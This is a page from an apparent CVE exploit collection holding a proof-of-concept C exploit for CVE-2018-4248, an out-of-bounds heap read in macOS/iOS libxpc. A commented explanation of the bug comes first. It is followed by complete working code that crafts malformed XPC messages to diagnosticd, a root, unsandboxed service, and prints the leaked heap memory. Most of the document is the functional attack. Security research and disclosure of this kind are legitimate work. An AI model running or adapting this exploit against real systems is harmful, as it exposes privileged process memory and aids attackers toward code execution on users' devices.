4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / xpc-string-leak.c C
/*
 * xpc-string-leak
 * Brandon Azad
 *
 * CVE-2018-4248
 *
 *
 * xpc-string-leak is a proof-of-concept exploit for an out-of-bounds memory read in libxpc. This
 * exploit uses the vulnerability to read out-of-bounds heap memory from diagnosticd, an
 * unsandboxed root process with the task_for_pid-allow entitlement.
 *
 *
 * The vulnerability
 * ------------------------------------------------------------------------------------------------
 *
 * On macOS 10.13.5 and iOS 11.4, the function _xpc_string_deserialize() does not verify that the
 * deserialized string is of the proper length before creating an XPC string object with
 * _xpc_string_create(). This can lead to a heartbleed-style out-of-bounds heap read if the XPC
 * string is then serialized into another XPC message.
 *
 * Here is the implementation of _xpc_string_deserialize(), decompiled using IDA:
 *
 * 	OS_xpc_string *__fastcall _xpc_string_deserialize(OS_xpc_serializer *xserializer)
 * 	{
 * 	    OS_xpc_string *xstring; // rbx@1
 * 	    char *string; // rax@4
 * 	    char *contents; // [rsp+8h] [rbp-18h]@1
 * 	    size_t size; // [rsp+10h] [rbp-10h]@1 MAPDST
 *
 * 	    xstring = 0LL;
 * 	    contents = 0LL;
 * 	    size = 0LL;
 * 	    if ( _xpc_string_get_wire_value(xserializer, (const char **)&contents, &size) )
 * 	    {
 * 	        if ( contents[size - 1] || (string = _xpc_try_strdup(contents)) == 0LL )
 * 	        {
 * 	            xstring = 0LL;
 * 	        }
 * 	        else
 * 	        {
 * 	            xstring = _xpc_string_create(string, size - 1);
 * 	            LOBYTE(xstring->flags) |= 1u;
 * 	        }
 * 	    }
 * 	    return xstring;
 * 	}
 *
 * _xpc_string_deserialize() first calls _xpc_string_get_wire_value() to retrieve a pointer to the
 * string data as well as the serialized size of the string, as reported by the string header.
 * _xpc_string_deserialize() then checks that the string has a null terminator at the end of its
 * reported size, but crucially does not check that there is no null terminator earlier in the
 * data. Finally, it creates a copy of the string on the heap and creates the OS_xpc_string object
 * using _xpc_string_create().
 *
 * Here is the decompiled code for _xpc_string_create():
 *
 * 	OS_xpc_string *__fastcall _xpc_string_create(const char *string, size_t length)
 * 	{
 * 	    OS_xpc_string *xstring; // rax@1
 *
 * 	    xstring = (OS_xpc_string *)_xpc_base_create(&OBJC_CLASS___OS_xpc_string, 16LL);
 * 	    if ( (((_DWORD)length + 4) & 0xFFFFFFFC) + 4 < length )
 * 	        _xpc_api_misuse("Unreasonably large string");
 * 	    xstring->wire_length = ((length + 4) & 0xFFFFFFFC) + 4;
 * 	    xstring->string = string;
 * 	    xstring->length = length;
 * 	    return xstring;
 * 	}
 *
 * _xpc_string_create() trusts the value of length supplied by _xpc_string_deserialize() and sets
 * the appropriate fields in the OS_xpc_string object. At this point, the deserialized string may
 * have a length field that is larger than the allocated string data.
 *
 *
 * Exploitation
 * ---------------------------------------------------------------------------------------------------
 *
 * Theoretically, this could be used to trigger memory corruption in services that get the length of
 * the string using xpc_string_get_length(), but this pattern seems to be uncommon. A less powerful
 * but more practical exploit strategy is to get the string to be re-serialized and sent back to us,
 * giving us a heartbleed-style window into the victim process's memory.
 *
 * This is the implementation of _xpc_string_serialize():
 *
 * 	void __fastcall _xpc_string_serialize(OS_xpc_string *string, OS_xpc_serializer *serializer)
 * 	{
 * 	    int type; // [rsp+8h] [rbp-18h]@1
 * 	    int size; // [rsp+Ch] [rbp-14h]@1
 *
 * 	    type = *((_DWORD *)&OBJC_CLASS___OS_xpc_string + 10);
 * 	    _xpc_serializer_append(serializer, &type, 4uLL, 1, 0, 0);
 * 	    size = LODWORD(string->length) + 1;
 * 	    _xpc_serializer_append(serializer, &size, 4uLL, 1, 0, 0);
 * 	    _xpc_serializer_append(serializer, string->string, string->length + 1, 1, 0, 0);
 * 	}
 *
 * The OS_xpc_string's length parameter is trusted during serialization, meaning that many bytes
 * are read from the heap into the serialized message. If the deserialized string was shorter than
 * its reported length, the message will be filled with out-of-bounds heap data.
 *
 * We're still limited to exploiting XPC services that reflect some part of the XPC message back to
 * the client, but this is much more common. For example, on macOS and iOS, diagnosticd is a
 * promising candidate that also happens to be unsandboxed, root, and has task_for_pid privileges.
 * Diagnosticd is responsible for processing diagnostic messages (for example, messages generated
 * by os_log()) and streaming them to clients interested in receiving these messages. By
 * registering to receive our own diagnostic stream and then sending a diagnostic message with a
 * shorter than expected string, we can obtain a snapshot of some of the data in diagnosticd's
 * heap, which can aid in getting code execution in the process.
 *
 */

#include <assert.h>
#include <bootstrap.h>
#include <mach/mach.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// ---- Logging -----------------------------------------------------------------------------------

#define DEBUG_LEVEL(_level)	(DEBUG && _level <= DEBUG)
#if DEBUG
#define DEBUG_TRACE(_level, _fmt, ...)					\
	do {								\
		if (DEBUG_LEVEL(_level)) {				\
			printf("Debug: "_fmt"\n", ##__VA_ARGS__);	\
		}							\
	} while (0)
#else
#define DEBUG_TRACE(_level, _fmt, ...)	do {} while (0)
#endif
#define INFO(_fmt, ...)		printf("Info: "_fmt"\n", ##__VA_ARGS__)
#define WARNING(_fmt, ...)	printf("Warning: "_fmt"\n", ##__VA_ARGS__)
#define ERROR(_fmt, ...)	printf("Error: "_fmt"\n", ##__VA_ARGS__)

// ---- XPC types ---------------------------------------------------------------------------------

enum {
	XPC_CONNECT_MSGH_ID = 0x77303074,
	XPC_MSGH_ID         = 0x10000000,
	XPC_MAGIC           = 0x40585043,
	XPC_VERSION         = 5,
	XPC_INT64_ID        = 0x3000,
	XPC_UINT64_ID       = 0x4000,
	XPC_STRING_ID       = 0x9000,
	XPC_ARRAY_ID        = 0xe000,
	XPC_DICTIONARY_ID   = 0xf000,
};

struct __attribute__((packed)) xpc_int64 {
	uint32_t id;		// 0x3000
	int64_t value;
};

struct __attribute__((packed)) xpc_uint64 {
	uint32_t id;		// 0x4000
	uint64_t value;
};

struct __attribute__((packed)) xpc_string_header {
	uint32_t id;		// 0x9000
	uint32_t size;		// serialized size in bytes
};

struct __attribute__((packed)) xpc_array_header {
	uint32_t id;		// 0xe000
	uint32_t size;		// serialized size in bytes after this field
	uint32_t count;		// number of key/value pairs
};

struct __attribute__((packed)) xpc_dictionary_header {
	uint32_t id;		// 0xf000
	uint32_t size;		// serialized size in bytes after this field
	uint32_t count;		// number of key/value pairs
};

// ---- XPC connections ---------------------------------------------------------------------------

// Look up the specified Mach service in launchd.
static mach_port_t
launchd_lookup_service(const char *endpoint) {
	mach_port_t service_port;
	kern_return_t kr = bootstrap_look_up(bootstrap_port, endpoint, &service_port);
	if (kr != KERN_SUCCESS) {
		ERROR("%s(%s): %u", "bootstrap_look_up", endpoint, kr);
		return MACH_PORT_NULL;
	}
	if (!MACH_PORT_VALID(service_port)) {
		ERROR("%s(%s): %s", "bootstrap_look_up", endpoint, (service_port == MACH_PORT_NULL
					? "MACH_PORT_NULL" : "MACH_PORT_DEAD"));
		return MACH_PORT_NULL;
	}
	return service_port;
}

// Connect to the XPC service at the specified service port.
static bool
xpc_connect(mach_port_t service_port, mach_port_t *server_port, mach_port_t *client_port) {
	// Create the server port. Add a send right so we can send to it later.
	mach_port_t server;
	mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
	kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &server);
	assert(kr == KERN_SUCCESS);
	// Create the client port. No send right for this one.
	mach_port_t client;
	options.flags = 0;
	kr = mach_port_construct(mach_task_self(), &options, 0, &client);
	assert(kr == KERN_SUCCESS);
	// Create the XPC w00t message.
	struct xpc_w00t {
		mach_msg_header_t hdr;
		mach_msg_body_t body;
		mach_msg_port_descriptor_t server;
		mach_msg_port_descriptor_t client;
	};
	struct xpc_w00t w00t = {};
	w00t.hdr.msgh_bits              = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
	w00t.hdr.msgh_size              = sizeof(w00t);
	w00t.hdr.msgh_remote_port       = service_port;
	w00t.hdr.msgh_id                = XPC_CONNECT_MSGH_ID;
	w00t.body.msgh_descriptor_count = 2;
	w00t.server.name                = server;
	w00t.server.disposition         = MACH_MSG_TYPE_MOVE_RECEIVE;
	w00t.server.type                = MACH_MSG_PORT_DESCRIPTOR;
	w00t.client.name                = client;
	w00t.client.disposition         = MACH_MSG_TYPE_MAKE_SEND;
	w00t.client.type                = MACH_MSG_PORT_DESCRIPTOR;
	// Send the XPC w00t message.
	kr = mach_msg(&w00t.hdr,
			MACH_SEND_MSG,
			w00t.hdr.msgh_size,
			0,
			MACH_PORT_NULL,
			MACH_MSG_TIMEOUT_NONE,
			MACH_PORT_NULL);
	if (kr != KERN_SUCCESS) {
		ERROR("%s(%s): %u", "mach_msg", "w00t", kr);
		mach_port_destroy(mach_task_self(), server);
		mach_port_destroy(mach_task_self(), client);
		return false;
	}
	*server_port = server;
	*client_port = client;
	return true;
}

// Get the contents of an XPC message.
void *
xpc_message_get_content(mach_msg_header_t *msg, size_t *size) {
	if (msg->msgh_size < sizeof(*msg)) {
		return NULL;
	}
	if (msg->msgh_id != XPC_MSGH_ID) {
		return NULL;
	}
	if (MACH_MSGH_BITS_IS_COMPLEX(msg->msgh_bits)) {
		mach_msg_body_t *body = (mach_msg_body_t *)(msg + 1);
		if (body->msgh_descriptor_count != 1) {
			return NULL;
		}
		mach_msg_ool_descriptor_t *ool = (mach_msg_ool_descriptor_t *)(body + 1);
		if (ool->type != MACH_MSG_OOL_DESCRIPTOR) {
			return NULL;
		}
		*size = ool->size;
		return ool->address;
	} else {
		*size = msg->msgh_size - sizeof(*msg);
		return (msg + 1);
	}
}

// ---- The exploit against diagnosticd -----------------------------------------------------------

// The diagnosticd service name.
#define DIAGNOSTICD_SERVICE	"com.apple.diagnosticd"

// A callback block that will be called each time data is leaked from diagnosticd.
typedef void (^diagnosticd_leak_callback_block)(const void *leak_data, size_t leak_size);

// Register the XPC connection to receive our own diagnostic stream.
static bool
diagnosticd_stream_self(mach_port_t server_port) {
	// Build the stream message.
	struct msg {
		mach_msg_header_t hdr;
		uint32_t xpc;		// '@XPC'
		uint32_t version;	// 5
		struct {
			struct xpc_dictionary_header hdr;
			struct {
				char key[8];			// "action"
				struct xpc_uint64 value;	// 3
			} action;
			struct {
				char key[8];			// "flags"
				struct xpc_uint64 value;	// 0
			} flags;
			struct {
				char key[8];			// "types"
				struct xpc_uint64 value;	// 0x7
			} types;
			struct {
				char key[8];			// "pids"
				struct {
					struct xpc_array_header hdr;
					struct xpc_int64 pid;	// our pid
				} value;
			} pids;
		} dict;
	};
	struct msg *msg = calloc(1, sizeof(*msg));
	msg->hdr.msgh_bits             = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, 0);
	msg->hdr.msgh_size             = sizeof(*msg);
	msg->hdr.msgh_remote_port      = server_port;
	msg->hdr.msgh_local_port       = MACH_PORT_NULL;
	msg->hdr.msgh_voucher_port     = MACH_PORT_NULL;
	msg->hdr.msgh_id               = XPC_MSGH_ID;
	msg->xpc                       = XPC_MAGIC;
	msg->version                   = XPC_VERSION;
	msg->dict.hdr.id               = XPC_DICTIONARY_ID;
	msg->dict.hdr.size             = sizeof(msg->dict) - offsetof(struct xpc_dictionary_header, count);
	msg->dict.hdr.count            = 4;
	strcpy(msg->dict.action.key, "action");
	msg->dict.action.value.id      = XPC_UINT64_ID;
	msg->dict.action.value.value   = 3;
	strcpy(msg->dict.flags.key, "flags");
	msg->dict.flags.value.id       = XPC_UINT64_ID;
	msg->dict.flags.value.value    = 0;
	strcpy(msg->dict.types.key, "types");
	msg->dict.types.value.id       = XPC_UINT64_ID;
	msg->dict.types.value.value    = 0x7;
	strcpy(msg->dict.pids.key, "pids");
	msg->dict.pids.value.hdr.id    = XPC_ARRAY_ID;
	msg->dict.pids.value.hdr.size  = sizeof(msg->dict.pids.value) - offsetof(struct xpc_array_header, count);
	msg->dict.pids.value.hdr.count = 1;
	msg->dict.pids.value.pid.id    = XPC_INT64_ID;
	msg->dict.pids.value.pid.value = getpid();
	// Send the stream message.
	kern_return_t kr = mach_msg(&msg->hdr,
			MACH_SEND_MSG,
			msg->hdr.msgh_size,
			0,
			MACH_PORT_NULL,
			MACH_MSG_TIMEOUT_NONE,
			MACH_PORT_NULL);
	free(msg);
	if (kr != KERN_SUCCESS) {
		ERROR("Could not send stream message to %s: 0x%x", DIAGNOSTICD_SERVICE, kr);
		return false;
	}
	return true;
}

// Send a diagnostic message to diagnosticd that will trigger the out-of-bounds heap read when
// diagnosticd sends the message on our stream.
static bool
diagnosticd_send_leak_message(mach_port_t service_port, size_t leak_size) {
	assert(leak_size >= 16 && (leak_size & 0x3) == 0);
	bool success = false;
	// Connect to diagnosticd.
	mach_port_t server_port, client_port;
	bool ok = xpc_connect(service_port, &server_port, &client_port);
	if (!ok) {
		ERROR("Could not connect to %s", DIAGNOSTICD_SERVICE);
		goto fail_0;
	}
	// Build the leak message.
	struct msg {
		mach_msg_header_t hdr;
		uint32_t xpc;		// '@XPC'
		uint32_t version;	// 5
		struct {
			struct xpc_dictionary_header hdr;
			struct {
				char key[8];			// "action"
				struct xpc_uint64 value;	// 6
			} action;
			struct {
				char key[8];			// "traceid"
				struct xpc_uint64 value;	// some trace id
			} traceid;
			struct {
				char key[8];			// "name"
				struct {
					struct xpc_string_header hdr;
					char contents[0];	// OOB read data
				} value;
			} name;
		} dict;
	};
	size_t msg_size = sizeof(struct msg) + leak_size;
	struct msg *msg = calloc(1, msg_size);
	msg->hdr.msgh_bits            = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, 0);
	msg->hdr.msgh_size            = msg_size;
	msg->hdr.msgh_remote_port     = server_port;
	msg->hdr.msgh_local_port      = MACH_PORT_NULL;
	msg->hdr.msgh_voucher_port    = MACH_PORT_NULL;
	msg->hdr.msgh_id              = XPC_MSGH_ID;
	msg->xpc                      = XPC_MAGIC;
	msg->version                  = XPC_VERSION;
	msg->dict.hdr.id              = XPC_DICTIONARY_ID;
	msg->dict.hdr.size            = sizeof(msg->dict) + leak_size - offsetof(struct xpc_dictionary_header, count);
	msg->dict.hdr.count           = 3;
	strcpy(msg->dict.action.key, "action");
	msg->dict.action.value.id     = XPC_UINT64_ID;
	msg->dict.action.value.value  = 6;
	strcpy(msg->dict.traceid.key, "traceid");
	msg->dict.traceid.value.id    = XPC_UINT64_ID;
	msg->dict.traceid.value.value = 0x4142412000040004;
	strcpy(msg->dict.name.key, "name");
	msg->dict.name.value.hdr.id   = XPC_STRING_ID;
	msg->dict.name.value.hdr.size = sizeof(msg->dict.name.value.contents) + leak_size;
	// Send the leak message.
	kern_return_t kr = mach_msg(&msg->hdr,
			MACH_SEND_MSG,
			msg->hdr.msgh_size,
			0,
			MACH_PORT_NULL,
			MACH_MSG_TIMEOUT_NONE,
			MACH_PORT_NULL);
	free(msg);
	if (kr != KERN_SUCCESS) {
		ERROR("Could not send leak message to %s: 0x%x", DIAGNOSTICD_SERVICE, kr);
		goto fail_1;
	}
	success = true;
fail_1:
	mach_port_deallocate(mach_task_self(), server_port);
	mach_port_destroy(mach_task_self(), client_port);
fail_0:
	return success;
}

// Extract the out-of-bounds leaked data from the message we received from diagnosticd.
static bool
diagnosticd_recover_oob_heap_read_from_message(mach_msg_header_t *msg,
		diagnosticd_leak_callback_block callback) {
	// Get the XPC data from the message.
	size_t xpc_size;
	void *xpc_data = xpc_message_get_content(msg, &xpc_size);
	if (xpc_data == NULL) {
		ERROR("Could not get XPC data from message");
		return false;
	}
	// Build the signature to find the XPC string.
	const struct __attribute__((packed)) {
		char name_key[8];
		uint32_t string_id;
	} signature = { .name_key = "name", .string_id = XPC_STRING_ID };
	const size_t signature_to_string_hdr_offset = offsetof(typeof(signature), string_id);
	// Check if the XPC data contains the signature.
	uint8_t *found = memmem(xpc_data, xpc_size, &signature, sizeof(signature));
	if (found == NULL) {
		ERROR("Could not find string signature in recovered leak message");
		return false;
	}
	// Verify the string.
	size_t xpc_string_size = xpc_size - (found - (uint8_t *)xpc_data) - signature_to_string_hdr_offset;
	struct xpc_string_header *string_hdr = (void *)(found + signature_to_string_hdr_offset);
	if (string_hdr->size > xpc_string_size) {
		ERROR("Invalid string size in recovered leak message");
		return false;
	}
	// Return the leaked contents.
	void *leak_data = string_hdr + 1;
	size_t leak_size = string_hdr->size;
	callback(leak_data, leak_size);
	return true;
}

// Recover the out-of-bounds heap data from the diagnosticd stream.
static bool
diagnosticd_recover_oob_heap_read(mach_port_t client_port, size_t leak_size,
		diagnosticd_leak_callback_block callback) {
	// Create a buffer to receive the message.
	size_t msg_size = 0x1000;
	uint8_t msg_buffer[msg_size];
	mach_msg_header_t *msg_alloc = NULL;
	mach_msg_header_t *msg = (mach_msg_header_t *)msg_buffer;
	// Loop until we receive the message.
	bool success = false;
	do {
		// Receive a message.
		kern_return_t kr = mach_msg(msg,
				MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT,
				0,
				msg_size,
				client_port,
				2000,
				MACH_PORT_NULL);
		// If we didn't have enough space, allocate some more.
		if (kr == MACH_RCV_TOO_LARGE) {
			size_t new_size = msg->msgh_size + MAX_TRAILER_SIZE;
			assert(new_size > msg_size);
			msg_alloc = realloc(msg_alloc, new_size);
			assert(msg_alloc != NULL);
			msg = msg_alloc;
			msg_size = new_size;
			kr = mach_msg(msg,
					MACH_RCV_MSG,
					0,
					msg_size,
					client_port,
					MACH_MSG_TIMEOUT_NONE,
					MACH_PORT_NULL);
		}
		// Handle any errors getting the message.
		if (kr != KERN_SUCCESS) {
			if (kr == MACH_RCV_TIMED_OUT) {
				ERROR("Timed out while waiting for leak message");
			} else {
				ERROR("Could not receive message: 0x%x", kr);
			}
			break;
		}
		// Search for the out-of-bounds data.
		success = diagnosticd_recover_oob_heap_read_from_message(msg, callback);
		// Dispose of the message and try the next one.
		mach_msg_destroy(msg);
	} while (!success);
	// Free the buffer if we used it.
	free(msg_alloc);
	return success;
}

// Perform an out-of-bounds heap read in diagnosticd of the specified size.
static bool
diagnosticd_oob_heap_read(size_t leak_size, diagnosticd_leak_callback_block callback) {
	bool success = false;
	// Look up diagnosticd.
	mach_port_t service_port = launchd_lookup_service(DIAGNOSTICD_SERVICE);
	if (service_port == MACH_PORT_NULL) {
		ERROR("Could not look up %s", DIAGNOSTICD_SERVICE);
		goto fail_0;
	}
	// Connect to diagnosticd.
	mach_port_t server_port, client_port;
	bool ok = xpc_connect(service_port, &server_port, &client_port);
	if (!ok) {
		ERROR("Could not connect to %s", DIAGNOSTICD_SERVICE);
		goto fail_1;
	}
	// Subscribe the client_port to a stream for our own process.
	ok = diagnosticd_stream_self(server_port);
	if (!ok) {
		goto fail_2;
	}
	// Now trigger the out-of-bounds read by sending a message with a malformed string.
	ok = diagnosticd_send_leak_message(service_port, leak_size);
	if (!ok) {
		goto fail_2;
	}
	// Finally listen for the reply containing the out-of-bounds heap data from diagnosticd.
	ok = diagnosticd_recover_oob_heap_read(client_port, leak_size, callback);
	if (!ok) {
		goto fail_2;
	}
	success = true;
fail_2:
	mach_port_deallocate(mach_task_self(), server_port);
	mach_port_destroy(mach_task_self(), client_port);
fail_1:
	mach_port_deallocate(mach_task_self(), service_port);
fail_0:
	return success;
}

int
main(int argc, const char *argv[]) {
	// Parse arguments.
	if (argc != 2) {
		return 1;
	}
	char *end;
	size_t leak_size = strtoull(argv[1], &end, 0);
	if (*end != 0) {
		return 1;
	}
	if (leak_size < 16 || leak_size % 8 != 0) {
		return 1;
	}
	// Run the exploit.
	bool success = diagnosticd_oob_heap_read(leak_size,
			^(const void *leak_data, size_t leak_size) {
		// Print the leaked data.
		size_t end = leak_size / 8;
		for (size_t i = 0; i < end; i++) {
			bool newline = (i % 2) == 1 || i + 1 >= end;
			printf("0x%016llx%c", ((uint64_t *)leak_data)[i], (newline ? '\n' : ' '));
		}
	});
	return (success ? 0 : 1);
}